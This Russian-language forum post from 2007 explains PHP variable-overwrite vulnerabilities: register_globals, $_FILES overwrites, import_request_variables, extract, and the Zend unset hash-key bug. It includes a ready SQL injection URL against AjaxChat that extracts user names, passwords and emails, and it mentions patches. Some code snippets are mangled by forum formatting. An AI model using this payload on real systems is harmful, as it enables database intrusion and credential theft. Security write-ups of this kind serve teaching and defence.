Показать сообщение отдельно

  #2  
Старый 25.11.2007, 01:29
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию



----[ REGISTER_GLOBALS ... ]

Одной из самых опасных уязвимостей в веб приложениях по-прежнему остается перезапись глобальных переменных , которая может
привести к разным последствиям - начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой
ветки php появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET,POST,COOKIE массивов.

Рассмотрим классический пример global overwrite , создав простой php скрипт с всего лишь одной строчкой кода.

PHP код:
php -> echo $GLOBALS['example']; 
Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=itdefence , в результате
увидем высвеченное значение itdefence. Некорректно обрабатывать обнуление переменных только из GET/POST массивов ,
передав дополнительный заголовок браузера мы получим тотже самый результат.

PHP код:
cookie -> example=itdefence 
----[ _FILES GLOBAL MODE ... ]

Недавно люди из hardened-php опубликовали описание нового способа перезаписать значение переменной , используя загрузку файла.
Это происходит потому что _FILES является частью массива _POST . Для начала напишем скрипт отправки и приема загруженных файлов.

PHP код:
<form method="post" action="example.php" encode="multipart/form-data">
       <input type="file" name="example" />
       <input type="submit" name="submit" />
    </form>
    
    <?php
    
if(isset($_FILES["example"])) 
    {
    
        
copy($_FILES["filename"]["tmp_name"],'/');
        
    }
     echo 
$GLOBALS['example'];
    
?>
Пробуем залить файл с именем itdefence.txt и видим в качестве результата не только залитый файл , но и присовоенное значение
переменной example значение itdefence.

----[ GLOBALS OVERWRITE ... ]

Поскольку большинство систем работает только с включенным режимом register_globals , а многие веб хостинг с целью обеспечения
безопасности своих клиентов отключают эту переменную , программисты придумали пару методов для помещений перемен в область
глобального видения , которые в реализации гораздо легче чем изготовление патчей . Одной из таких функций является
import_request_variables , в качестве параметра выступает строка , определяющая порядок помещения переменных в superglobal
из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные пришедшие с клиентской
стороны. Стоит использовать import_request_variables вместе со вторым параметром - префиксом будущих функций . Несмотря на то ,
что баг был обнаружен в 2005 году , ему небыло присвоено критическое значение .

PHP код:
php ->    import_request_variables("GPC"); 
Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=itdefence , мы перезапишем ключ массива , содержащий в себе адрес посетителя,
а так как многие системы управления контентом не фильтруют этот на первый взгляд безопасный параметр , рождается куча способ атаки - от
снятия блокировки на сайте до выполнения произвольного sql кода.

Вторая , не менее опасная и распространенная функция для эмуляции register_globals является extract . Чтобы избежать перезаписи уже
существующих переменных рекоммендуется использовать флаг EXTR_SKIP , который при попытки поместить переменную в глобальное окружение
проверит на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст.

PHP код:
php ->    extract($_REQUEST); 
----[ UNSET WHACKING ... ]

Обнаруженная в конце 2006 года и уже успев стать популярной , уязвимость в вызываемой функции unset , изначально именуемой
Zend_Hash_Del_Key_Or_Index достойна отдельного внимания . Ровно шесть месяцев ушло у авторов php на устранение этой критический
уязвимости.Для того чтобы лучше понять суть бага , надо понять основы хранения данных в php . Zend Engine HashTables является
"контейнером" для информации , поступишвей со стороны клиента , такие как суперглобальные массивы COOKIE , POST , GET .
HashTable хранит ключи-указатели на содержимое переменных , и как оказалось несет в себе критический баг - подставив цифровое
значение переменной можно перезаписать буквенно-цифровое представление . Такие уязвимости могут быть проэксплуатированны только
в случае включенного потенциально-опасного параметра register_globals в настройках php . Хэш-таблицы Zend Engine "знают" два
типа индексов в PHP4: цифровые и буквенно-цифровые . Если индекс состоит только с цифр он автоматически обрабатывается
как цифровой . В PHP5 это нетак , поскольку PHP5 "знает" о таблицах имён и о простых хэш-таблицах . В таблицах имён цифровые
индексы все ещё обрабатываются автоматически .

Брешь заключается в некорректном условии проверки - если мы пытаемся вызвать unset для цифро-буквенной переменной и в списке
переменных есть цифровой хэш ключ с идентичным значением , то php удалит ключ но не саму переменную , то есть после вызова
unset мы можем использовать значение в дальнейшем . Для нас является положительным тот факт что unset чаще всего используется
в начале кода для того чтобы принудительно запретить использование опасных ключей .

Указать ключ переменной можно не только при включенном superglobals моде , но и упомянув значение в массиве _FILES
о чем я писал выше . Так был написан эксплоит для форумного скрипта vBulletin и популярного блог движка WordPress .

Расмотрим реализацию на примере AjaxChat.Последнюю версию можно взять с ajchat.sourceforge.net . Авторы данного чата
позволяют создавать виртуальные комнаты только состоящие из букв , что явно видно в этом участке кода

PHP код:
if (isset($_GET["s"]))
    {
    
        
$_GET["s"] = strtoupper($_GET["s"]);
        if (
strlen($_GET["s"])==&& $_GET["s"]>='A' && $_GET["s"]<='Z') {}
        else unset(
$_GET['s']);

    } 
В дальнейшем если переменная "s" из массива _GET прошла фильтрацию , ищущий виртуальные комнаты,
похожие по написаню с введеной в строке поиска строке и дальнейший вывод всех данных из масива на страницу.

PHP код:
mysql -> SELECT `roomname`, `updatedFROM `roomsWHERE `roomnameLIKE '%$s%' AND`updated` > 0 ORDER BY `roomnameASC 
С первогов взгляда - код правильный , но стоит переопределить переменную "s" , идущую в GET запросе , чтобы выполнить
произвольный sql запрос . Высчитаем hash_del_key для обоих версий php

PHP код:
calc -> PHP5 hash5863704 PHP4 hash5861526 
Для того , чтобы хеш переменной засчитался , сначала надо присвоить саму переменную и только после делать подставление наших ключей.
Наш запрос для извлечения юзеров принимает вид

PHP код:
browser -> directory.php?s=' and 1=2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1 
Прерывая одинарной ковычкой оригинальный запрос мы вставляем выборку полей с номером , именем , паролем и почтовым адресом юзера
, обьединенных с помощью функции concat_ws , в результате чего получаем нужные данные.

Не стоит отказываться от unset , одним из способ решения уязвимости является принудительно приравнивание переменной к NULL
, либо двойной вызов этой функции ( по рекоммендации автора minibb ).Рекоммендуется скачать патч со страницы авторов ,
обнаруживших этот баг ( http://www.hardened-php.net/hardening_patch.14.html )

Такой же опыт можно провести , совместив аплоад файла и unset bug . Модифицируем код,где 1322199023 и 1154731405 хеш ключи переменной example
сразу для двух версий php - четвертой и пятой

PHP код:
<form method="post" action="example.php" encode="multipart/form-data">
       <input type="file" name="example" />
       <input type="submit" name="submit" />
       <input type="file" name="1322199023" />
       <input type="file" name="1154731405" />
    </form>
    
    <?php
     
if(isset($_FILES["example"])) 
     {
      unset(
$_FILES["example");
     }
     echo 
$GLOBALS['example'];
    
?>
После загрузки файла itdefence.txt мы все равно увидим значение переменной example.
 
Ответить с цитированием